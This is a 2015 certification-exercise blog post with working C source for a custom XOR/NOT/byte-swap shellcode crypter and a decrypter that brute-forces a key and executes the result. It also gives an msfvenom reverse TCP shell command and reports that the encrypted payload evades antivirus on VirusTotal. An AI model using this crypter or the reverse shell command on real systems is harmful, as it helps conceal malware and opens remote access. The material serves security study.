Tuesday, 11 August 2015

SLAE Assignment #7: Custom Crypter


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the last exercise requested about creating a custom crypter and decrypter. Code can be found at my GitHub SLAE repository.


7.1 CUSTOM CRYPTER
___________________________________________________
Doing his own crypter using a custom encryption is not advised as it is required to be a skilled cryptographer and mathematician to create a strong algorithm. If I have still choosen to create my own algorithm, it was more about having fun doing the required exercise than to reach strong cryptography standard :-) A crypter is written in a higher language than assembly as it would take too much opcodes to be useful in assembly for a shellcode (shellcode would be too big). A crypter is geared toward encrypting executables, but we can still insert our shellcode. Below we will encrypt our previous shellcode displaying "Egg Mark" on screen, but it could be any heavy shellcode instead. Below is a crypter written in C, notice we add \x90 at the end of the shellcode, it will be a marker used by XOR decoding in the decrypter:

 /* 
Custom Crypter XOR / NOT / XOR / INC / Swapping
Author: Guillaume Kaddouch
SLAE-681
*/

#include 
#include 
#include 

// Write "Egg Mark" and exit
unsigned char shellcode[] = \
"\x31\xdb\xf7\xe3\xb0\x04\x6a\x0a\x68\x4d\x61\x72\x6b\x68\x45"
"\x67\x67\x20\xb3\x01\x89\xe1\xb2\x09\xcd\x80\xb0\x01\xcd\x80"
"\x90"; // shellcode end mark;

int shellcode_len=31;

void display(unsigned char* buffer, int buffer_len){
    int counter;
    unsigned char data_byte;

    for (counter=0; counter< buffer_len; counter++)
    {
        data_byte = buffer[counter];
        printf("\\x%02x", data_byte);
    }

}

int main()
{
 int counter;
 int xor_key;
 unsigned char temp;
        unsigned char encrypted[shellcode_len];
        unsigned char decrypted[shellcode_len];

 printf("Shellcode:\n");
 display((unsigned char*)shellcode, shellcode_len);


 /* ---------------- Encryption code ---------------- */
        for (counter=0; counter < shellcode_len; counter++){
  if (shellcode[counter] == 0xaa || (~(shellcode[counter] ^ 0xaa)) == 0xbb){ // XOR = NULL
   printf("Forbidden character in plain or encrypted shellcode found \\x%02x, exiting.", shellcode[counter]);
   exit(0);
  }
  // Encryption of 'A' => A XOR 0xaa | NOT | XOR 0xbb | INC
                encrypted[counter] = (~(shellcode[counter] ^ 0xaa)) ^ 0xbb;
  if (encrypted[counter] < 0xff){
   encrypted[counter] = encrypted[counter] + 0x1;
  }
        }

 // Swapping pair of bytes, e.g: \xda\xef \x31\x56 -> \xef\xda \x56\x31
 for (counter=1; counter < (shellcode_len-1); counter=counter+2){
  // swap two bytes
                temp = encrypted[counter];
         encrypted[counter] = encrypted[counter-1];
                encrypted[counter-1] = temp;

 }

 printf("\n\nEncrypted shellcode:\n");
 display((unsigned char*)encrypted, shellcode_len);

 printf("\n\n");
     return 0;
}

 
There is two stages for encrypting the intial shellcode, first make it pass trough some bitwise encoding instructions, then swap pair of bytes all along. Notice XOR is used twice at two different times with two different keys. Below is the output of the crypter:



The decrypter is more interesting, in the way it has one of the XOR key hardcoded, but not the other. That means it has to brute force one of the keys, in the same logic than Hyperion (known AES Crypter).


/* 
Custom Decrypter XOR / NOT / XOR / INC / Swapping
Author: Guillaume Kaddouch
SLAE-681
*/

#include 
#include 
#include 

// Write "Egg Mark" and exit
unsigned char encrypted[] = \
"\x36\xe0\x0e\x1a\xeb\x5f\xe5\x85\xa4\x87\x9d\x90\x87\x86\x8a\xac\xcf\x8a\xf0\x5e\x10\x68\xe8\x5d\x6f\x24\xf0\x5f\x6f\x24\x7f";

int shellcode_len=31;

void display(unsigned char* buffer, int buffer_len){
 int counter;
     unsigned char data_byte;

     for (counter=0; counter< buffer_len; counter++)
     {
         data_byte = buffer[counter];
         printf("\\x%02x", data_byte);
     }
}

int main()
{
 int counter;
 int xor_key;
 unsigned char temp;
        //unsigned char encrypted[];
        unsigned char decrypted[shellcode_len];

 printf("\n[*] Encrypted Shellcode: ");
 display((unsigned char*)encrypted, shellcode_len);

 /* ---------------- Decryption code ---------------- */

 printf("\n[*] Brute forcing XOR key... ");
 for (xor_key = 1; xor_key < 255; xor_key++)
        {
                if ( (unsigned char)((~((encrypted[shellcode_len-1] - 0x01) ^ xor_key)) ^ 0xaa)  == 0x90 ){
   printf("XOR key found \\x%02x\n", xor_key);
   break; // XOR key found
                }
        }


 // Swapping pair of bytes, e.g: \xda\xef \x31\x56 -> \xef\xda \x56\x31
 for (counter=1; counter < (shellcode_len-1); counter=counter+2){
                // swap two bytes
                temp = encrypted[counter];
                encrypted[counter] = encrypted[counter-1];
                encrypted[counter-1] = temp;

        }

        for (counter=0; counter < shellcode_len; counter++)
        {
  if (encrypted[counter] > 0x00){
                        encrypted[counter] = encrypted[counter] - 0x1;
                }
                decrypted[counter] = (~(encrypted[counter] ^ xor_key)) ^ 0xaa;

        }

  printf("[*] Decrypted shellcode: ");
        display((unsigned char*)decrypted, shellcode_len);

 printf("\n\n[*] Jumping to Shellcode...\n");
 int (*ret)() = (int(*)())decrypted;
        ret();

}


Now we can try to run it to see what happens:



As we can see, the XOR key is successfully brute forced, the shellcode correctly decrypted, and then executed. Ok so, is it finished yet? Not if we want to check if it is any effective at lurring antivirus! Let's take a classic linux/x86/shell_reverse_tcp from Metasploit:

msfvenom -p linux/x86/shell_reverse_tcp LPORT=4444 LHOST=192.168.1.1 -e x86/shikata_ga_nai -b "\x00\xaa\xbb" -f c


Then we put the shellcode in two tests file: one in "avtest.c" being a clear text unencoded/unencrypted shellcode, and one in our CustomCrypter. We will post them both to VirusTotal and see what happens. Our first unprotected file:



We ensure the file is working:



Then we pass it trough our encrypter (just modifying the shellcode and shellcode lenght):





Then we copy the encrypted shellcode into our decoder:



We test the file is working:





Ok now we have two working files, one unprotected and the other encrypted. Let's submit them to VirusTotal:

Unprotected file: linux shellcode detected by 2 AV:


Encrypted file: linux shellcode not detected!


The shellcode I have choosen was not well detected at first, so it is not the best test one could do. However it shows that creating a custom crypter, even very basic, can be effective at not being detected. I did the test again with the same payload not encoded with x86/shikata_ga_nai, and 5 antivirus detected the unprotected file, while none caught the custom crypter.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


No comments:

Post a Comment